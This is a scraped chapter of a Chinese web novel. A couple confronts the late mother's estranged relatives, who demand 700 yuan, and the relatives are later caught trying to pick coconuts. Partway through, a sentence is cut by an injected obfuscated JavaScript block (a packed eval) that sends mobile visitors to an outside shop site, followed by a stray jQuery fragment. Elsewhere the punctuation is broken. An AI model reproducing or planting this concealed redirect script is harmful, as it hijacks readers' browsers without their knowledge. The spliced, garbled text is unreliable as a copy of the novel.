梁栋惊讶道,“你知道?你知道还认贼做母?”
什么叫认贼做母?虽然不明白这个成语的意思,但这个‘贼’字,让三娃皱了皱小眉头,拉了拉宁为国的手,“姥爷,我不喜欢他们。”
梁栋气歪了鼻子,指着宁为国道,“你喊他姥爷?那我是什么。”
北方一般喊姥姥姥爷,南方喊外公外婆。
严格来说,梁栋这个领养了三娃亲妈的叔外公,从名义上来说,也是他的外公,也就是姥爷。
“你是陌生人啊。”三娃脆声道,他歪头仔细看了看梁栋的脸,确定一次也没见过,“嗯,陌生人。”
梁栋差点没被气出个好歹,大娃和三娃油盐不进,二妞是个丫头片子,他不想搭理。
原本准备打感情牌,让沈烈看在三个孩子的面子上,拿一笔钱打发他们的主意,似乎是破产了。
白小芬深吸一口气,望向沈烈,“你是不是真的要跟我们断绝关系,让大娃二妞三娃,认这个女人做妈,认那两个老的做外公外婆?”
沈烈面无表情地道,“那你就高看我了,我左右不了三个娃的决定,认不认你们,得问他们三。”
一听这话,白小芬扯出笑脸,看向三小只,“大娃,二妞,三娃,我是你们的外婆啊,我们之间是有血缘关系的,血浓于水。”
看三小只还是一副无动于衷的模样,梁栋转了转眼珠,既然抬高不了自己,那就贬低别人,他指着宁为国和孙爱菊道,“他们两个跟你们一点血缘关系都没有,怎么会真心疼你们呢,他们现在对你好,全都是假的,是糖衣炮弹,我们才是你真正的亲人啊。”
宁棠紧紧攥拳,真想把这两不要脸的赶出去。
如果可以,她真的不想大娃他们三这么小就面对这两个恶心又虚伪的亲人。
撕开他们虚伪的亲情面具,底下就是一张无耻的贪婪面孔。
她深吸一口气,强压着怒火,“你们说你们是大娃他们三的亲外公,亲外婆,那请问两位,这些年过去了,你们有来看过他们一次吗?”
梁栋讪讪道,“我们,我们这不是没时间嘛。”
“没时间?”宁棠道,“呵,就算你们要上班,节假日总有空吧?让我算算,一年有多少个节日,春节,元宵节,清明节,五一劳动节……”
大娃接嘴道,“国庆节。”
二妞和三娃仿佛跟大娃比赛似的,接连说出两个节日,“中秋节,端午节。”
他们每说一个节日,梁栋和白小芬的头就低下去一分。
“数不清呢,而且这还是一年的。”宁棠道,“从沪市坐火车过来,只需要三天,来回我算你七天,不是亲外公亲外婆吗,七天时间都抽不出来?”
梁栋和白小芬吭哧瘪肚说不出一句话,脸上飞速闪过一抹羞红。
宁棠又道,“行,我当你们工作忙,没空,真的一点时间都抽不出来,那总该寄封信过来吧?”
她从柜子里翻出梁栋和白小芬的信,甩在桌上,“这么多年,就寄来这一封信,信上关于大娃他们三的事一句话也没问,没问他们长高了吗,没问他们成绩怎么样,也没问他们吃得好不好,钱够不够花,通篇就是要钱要钱要钱。”
她冷笑一声,“这就是所谓的亲外公,亲外婆,血浓于水?”
宁棠突然想到一个可能,“你们该不会不知道大娃二妞还有三娃,现在上几年级吧?”
看梁栋和白小芬一副赧然的模样,她搁心里骂一句,深呼吸,告诉自己别生气,别跟他们一般见识,“大娃今年上六年级,来年就初中了,二妞今年上五年级,三娃今年上三年级,记住了没?”最后四个字,一个比一个音重。
白小芬不以为然地小声嘟囔了一句,“上几年级关我们什么事。”
他们连梁颖以前小学的时候上几年级都不知道,现在又怎么可能会去记大娃他们三的。
宁为国气炸了,“不关你们的事?连自己外孙外孙女多少岁了,上几年级都不知道,你们还是人吗?”
梁栋撇撇嘴,“这有你什么事啊,假货。”
骂宁为国,那绝对是戳到宁棠的逆鳞了,“你说我爸妈是假货,那请问,你们这两个真货,这么多年,为大娃二妞三娃,做过什么了?”
梁栋微微张嘴,嘴唇蠕动了几下,都说不出一个字,大脑一片空白。
看他那样,宁棠笑了,拍拍三个小孩,“你们来告诉他。”
大娃道,“姥姥和姥爷每年都给我们压岁钱红包,写信给我们,给我们寄好吃的。”
哪怕没能来海浪岛,又或者宁棠和沈烈因为部队安排,不能带着三小只回山岗村过年,宁为国和孙爱菊的红包也是年年不落,一定要寄过来的。
二妞脆声道,“姥姥会给我扎小辫,织小花帽。”她眨巴眨巴大眼睛,看向白小芬,“假外婆,你会扎小辫,织小花帽吗?”
不等白小芬回答,二妞就摇摇头,“你不会,你连我上几年级都不知道。”
孙爱菊来海浪岛还不到半个月,就给大娃他们三一人织了一副毛手套,两
双毛线袜要不是宁棠拦着说海浪岛的冬天没那么冷她还要给三小只安排上棉鞋和毛线衣。
白小芬讷讷道“我就算没给你扎过小辫织过什么毛线帽那我也是你血缘上的叔外婆啊。”
反正让他们两说为三小只做了啥一个字也说不出来但是扯起血缘关系那真是一套一套的。
“嗤。”沈烈突然笑了笑的很突然却一点也不突兀他冷冷道
反正都撕破脸了梁栋也不遮掩了他伸出四根手指“四百。”又赶紧加了个手指头“不五百。”
沈烈现在已经是团长了他的工龄逐年增长到手的工资只会越来越多部队福利一年比一年好他又是海军每次出海都能领出海补贴肯定没少挣。
想到这梁栋把中间的三根手指头放下“五百不够得六百。”
还没等沈烈说话他抢白道“别说你们家没钱。”指了指墙角的洗衣机和电风扇“没钱买得起这些电器?”
白小芬飞快接话道“你们要是不给钱拿这些电器抵也行。”
锐杰也大了该结婚成家了城里的姑娘都要三转一响把沈家的洗衣机、电风扇、自行车、收音机扛回去不就能娶媳妇啦!
宁棠都快被气笑了真是马不知脸长牛不知角弯。
他们让给钱就给钱让拿电器抵就拿电器抵?
这两人多大的脸啊。
见沈烈不说话梁栋紧盯着他补充了一句“我女儿梁颖可是给你生了三个孩子。”
白小芬接嘴道“而且是两个儿子一个女儿你听清楚两个儿子两个!”
这话说的宁棠嗤了一声“你们也说了是梁颖给沈烈生了三个孩子不知道的还以为是你们两给沈烈生了三个孩子。”
白小芬瞪她一眼“有你说话的份吗不下蛋的母鸡。”
也讲了一会话了没有别的孩子在屋里也没听到婴儿的啼哭声白小芬也大概猜出来宁棠应该是没生孩子家里只有大娃二妞三娃这三个孩子。
很有可能沈烈一辈子就只有这三个孩子了。
想到这梁栋和白小芬来要钱的底气就更足了。
梁栋道“你别跟她废话。”看向沈烈“看在孩子的份上你也得给我们七百块钱。”
就这一会又加了一百块钱从六百块钱变成了七百块钱。
“看在孩子的份上?”沈烈笑了“要不是看在大娃他们
三的份上你们别说进屋了我在路上看到你们都得扇你们三个大耳巴子。”
沈烈人高马大这话说出来很有威慑力。
干瘦干瘦的梁栋忍不住瑟缩了一下但为了钱他仍是鼓起勇气强撑道“我发誓这是我们最后一次来要钱了看在孩子的份上你给我们七百块钱我保证以后再也不来找你们了。”
七百块钱?七分钱他都不想给。
“想要钱是吧?”宁棠道。
白小芬眼睛一亮“对。”
“凭什么给你们呢?”宁棠道“别说什么看在孩子的份上大娃他们三都不认你们。”
白小芬张嘴想反驳宁棠立马道“你们这些年给大娃二妞三娃买过一件衣服买过一包零嘴没?想打亲情牌可以啊先把这么多年欠的东西补上。”
梁家都穷得揭不开锅了来海浪岛的车票钱都是借的。
再说了他们来的目的是为了要钱钱没要到先搭上一笔绝对不符合梁栋和白小芬的作风。
白小芬扭头宁棠嘴皮子厉害她说不过准备去撬沈烈的墙角“沈烈我女儿可是给你生了三个孩子三个啊她就是因为给你生孩子才亏空了身子死掉的两个儿子一个女儿儿子每个你赔三百块钱女儿也不要多就一百块钱总共七百块钱你就说给不给吧。”
梁颖是生病死掉的她走的那一个月面色憔悴两颊深深凹进去手腕细得跟芦柴棍似的
沈烈的信去了一封又一封直到梁颖闭眼她都没有等来自己的养父养母亲二伯二伯母。
“给。”沈烈面无表情突然爆了粗口“给个屁!”
梁栋和白小芬听到沈烈说给的时候眼里闪过一抹欣喜又被沈烈突然爆出的粗口给吓到了面色顿时吓得发白。
沈烈指了指地上“你们自己说了是梁颖给我生了三个孩子要钱行啊你们让她上来找我要别说七百块钱了七千我都给。”
梁栋和白小芬再能耐那也不能让死人复生啊。
白小芬道“你你这是强词夺理!”
“呵你们不是说是梁颖拼着命给我生了三个孩子吗那这七百块钱我也应该给她而不是给你们。”沈烈道。
宁棠点点头“过几天我就把这七百块钱换成纸钱烧给她。”对梁栋和白小芬道“你们想要钱可以。”指了指地面“下
去找梁颖要,她给不给你们,全都她说了算。
什么叫下去找梁颖要,不就是变相咒他们去死吗!
梁栋脸色先是发白,然后急速涨得通红,指着宁棠,说不出一个字。
宁棠呵了一声,别说她不尊重长辈,就梁栋和白小芬的所作所为,那都不配被称为长辈,说是两个人渣都不为过。
沈烈看一眼天色,都大中午了,肚子饿得咕咕叫,没力再跟这两不要脸的纠缠下去,赶人道,“你们走吧。
梁栋和白小芬刚想死皮赖脸地坐地上,沈烈霍然起身,“再不走,我喊人了啊,我现在是团长,部队给配警卫员了。
梁栋和白小芬没见过沈烈的警卫员小赵,但不妨碍他们在脑海里勾勒出一个强壮的大小伙子的形象。
白小芬嘴硬道,“你,你不给我们钱,我们就不认大娃他们,他们就没有外公外婆了。
沈烈笑了,“不认就不认,别说你们不想认他们三了,他们三还不想认你们呢。问三小只,“你们认不认这个外公外婆。
三小只对视一眼,异口同声地道,“不认。连语调都没个起伏。
三娃还道,“没有外公外婆,我们有姥姥姥爷啊。
梁栋和白小芬,这两个血缘关系上的亲人,在大娃他们生命中的早几年,完全都没出现过,对于三个孩子来说,他们就是陌生人。
对陌生人,还是不喜欢他们的陌生人,他们要有什么反应?一点反应都没有。
哪怕揭穿了,他们只是打着认亲的幌子,其实是来要钱的,三小只内心也毫无波澜。
因为不在乎,所以不关心,因为无所谓,所以无动于衷。
二妞往孙爱菊怀里窝了窝,见孙爱菊看她,朝孙爱菊仰着小脸一笑,露出洁白的牙。
老天给了她一个嫌弃她,不喜欢她的外公外婆的同时,又补给她一个喜欢她,疼爱她的姥姥姥爷。
其实,老天爷是很公平的。
大娃他们三,可是梁栋和白小芬最后的底牌。
眼见最后的底牌,都被‘笼络’了去,两人也没辙了。
梁栋使出最后一招,“你们,你们就不怕我在外面败坏大娃他们三的名声,说他们不孝顺,不赡养老人。
宁棠都快笑出声了,“那你就太小瞧我们了,面子能值几个钱。
她要真是在乎名声的人,这会都拍拍屁股去上班,给沈烈生十个八个孩子了。
宁棠顿了顿,“你们要真敢这么做,我就拿那七百块钱换成的
纸钱,去你们家门口烧,到时候左邻右舍问起来,呵呵。”
沈烈补充道,“就说是你们要的,养一个闺女,生三个孩子,能赚七百块钱,哦,不止七百块,再算上梁颖以前补贴你们的钱,还有葬礼上你们要的两
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14078769|89748||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
百块钱,一千五肯定是有的,到时候让左邻右舍评评理,看看这一千五你们拿着烫不烫手。”
梁栋和白小芬脸色一白,沈烈和宁棠要真这么做,那他们两口子的脸就丢光了!还要不要在院子里混了!
梁栋强撑道,“你们,你们不敢。”
他赌沈烈和宁棠的素养,上别人家门口烧纸钱这事,他们应该做不出。
宁棠似笑非笑,“不敢,有什么不敢的。”她道,“忘了告诉你们,我没工作,也不怕你们捅到单位去,我多的是时间跟你们耗,七百块钱能换的纸钱,应该挺多的,一天烧不完,那我就烧七天,烧十五天,烧一个月,总有烧完的时候。”
“到时候整栋楼都是白烟,肯定有人问。”她拍拍嘴,“我这人嘴上不把门,说出什么不好听的,你们就别怪我了。”
白小芬气炸了,没想到这个世界上还有比她更‘不要脸’的人,她气得发抖,指着宁棠说不出一个字。
沈烈冷声道,“你们再不走,我真的要喊人了。”
他倏地起身,把梁栋和白小芬都吓了一跳,连忙跟着站了起来,赶紧拎包走人。
宁棠站门口看了一会,小道上没了他两的身影,才进屋,“总算走了。”
沈烈瞥一眼窗外,叹口气,“这次是走了,他们两个没脸没皮的,说不定下次又来了。”
宁棠笑道,“来就来呗。”她道,“我还嫌他们走得太快了,没用上我的扫帚神功呢。”
她刚才跟梁栋和白小芬说的可是真话,一个字都不假。
烧纸钱这事,她真干得出。
别说梁栋和白小芬去而复返,再来要钱了,兴许宁棠比他们快一步,提前去他们家烧纸钱都不一定。
至于会不会有外人说嘴,谁敢说嘴,她就敢上谁家,让那人出梁栋和白小芬要的七百块钱。
梁栋和白小芬走了一会,越想越气。
白小芬道,“就这么容易就放过他们了?那可是七百块钱啊,一分都没要到。”还白搭了来回的车票钱。
梁栋冷哼一声,“不然呢,你能耐,你去找那两口子要钱,你去拉拢大娃二妞三娃。”
沈烈跟宁棠,一个比一个能说,大娃他们三,简直油盐不进。
连句外公外婆都不肯叫,
不对,大娃叫过一声,还是嘲讽他们把他跟大虎认错的时候叫的。
白小芬撇撇嘴,她也只是说说而已,论嘴皮子功夫,十个她都斗不过宁棠。
梁栋道,“都这样了,咱们两不能空手而归吧。
白小芬一愣:“你的意思是?
梁栋扫了她一眼,“你忘了,刚到海浪岛的时候,你不是说要摘点椰子,摘点水果回去吗,我看这主意行。
水果在沪市可值钱了,苹果要五毛钱一斤,橘子和梨子便宜一点,也要两毛钱,还得凭水果票供应。
平时梁栋和白小芬都不舍得买,也只有过年过节的时候,白小芬会买上一包最便宜的橘子,不过全都进了梁锐杰肚子里,他们两是一口也不舍得吃的。
海浪岛就不一样了,因为这里气候好,水果好成活,别说苹果橘子和梨了,少见的菠萝蜜、芒果、荔枝,压根就不值钱。
尤其是芒果树,遍地都是。
梁颖还在的时候,没少寄水果给梁栋和白小芬。
那时候,梁家是不缺水果吃的,也不缺水果待客,来来往往的,都有面。
两人突然想起了梁颖的好,对视一眼,皆从对方眼底看到了惋惜。
白小芬道,“你瞧着吧,沈烈的苦日子还在后头呢,他娶了那样一个泼辣的二婚妻子,大娃他们三有那样一个没品没德的后妈,沈家迟早败落下去。
梁栋点点头,赞同了白小芬的说法,并对此深以为然。
两人讲了两句,准备开始摘椰子了。
跟水果相比,椰子显然更为稀罕,毕竟沪市还有水果卖,但椰子这玩意,因为现在运输业不发达,在沪市是极为罕见的。
梁栋都盘算好了,摘一包水果,四五个椰子回去,椰子拿去黑市卖,就说是来自神秘海岛的一种水果,肯定能卖出高价。
想到这,他眼里划过一丝贪婪。
有了卖水果和椰子的钱,不说能弥补他们拿不到七百块钱的心痛,至少能贴补贴补火车票的钱吧。
八月份,正好是椰子成熟的季节。
梁栋和白小芬站在椰子树下,抬眼望着藏在绿色椰子叶间的金黄色的椰子,心动,却犯起了难。
白小芬道,“当家的,这椰子咋摘啊?
梁栋瞪眼道,“你问我,我问谁,这样,你帮我盯着,看有没有人来,我爬上去摘。
“能行吗?白小芬担心道,毕竟这些椰子树看起来都不矮,梁栋身材瘦弱,又不怎么会爬树。
“别废话了
,赶紧的。”梁栋道,“再不快点,就来人了。”
说完,梁栋把长长的衣摆扎了个结,挑了一棵相对矮一些的椰子树,手脚并用地往上爬,撅着屁股,姿势十分的不雅观。
白小芬则紧张地在椰子树底下探头探脑。
大中午的,路上没什么人,但她还是怕会有人撞见她跟梁栋‘偷’椰子,被抓到可不是好玩的。
怕什么就来什么,正当白小芬心里那根弦紧绷到了极限,耳畔突然传来一声,“喂,你们在干嘛!”
这一声,把白小芬吓得七魂丢了三魄。
更是把梁栋吓得从椰子树上掉下来,一屁股摔在了地上。
两人齐齐尖叫一声,“同志!我们不是故意的,念在我们是初犯,你就饶过我们吧!”
说完,也不等喊住他们的渔民同志的反应,撒腿就跑。
废话,跑晚了,不得被拘下来,送进局子里啊。
这年头,偷盗罪判得特别重,早些年,还要游街示众呢。
看着两人没一会就化成小黑点的背影,渔民同志丈二和尚摸不着头脑,嘀咕道,“跑那么快干啥。”
他看梁栋和白小芬是生面孔,估计不知道岛上的椰子是随便摘的,又看梁栋一副笨手笨脚的模样,叫住他们,只是想问一句,需不需要帮忙罢了。
没想到这两人跑这么快,让渔民同志的一腔热情,白白错付了。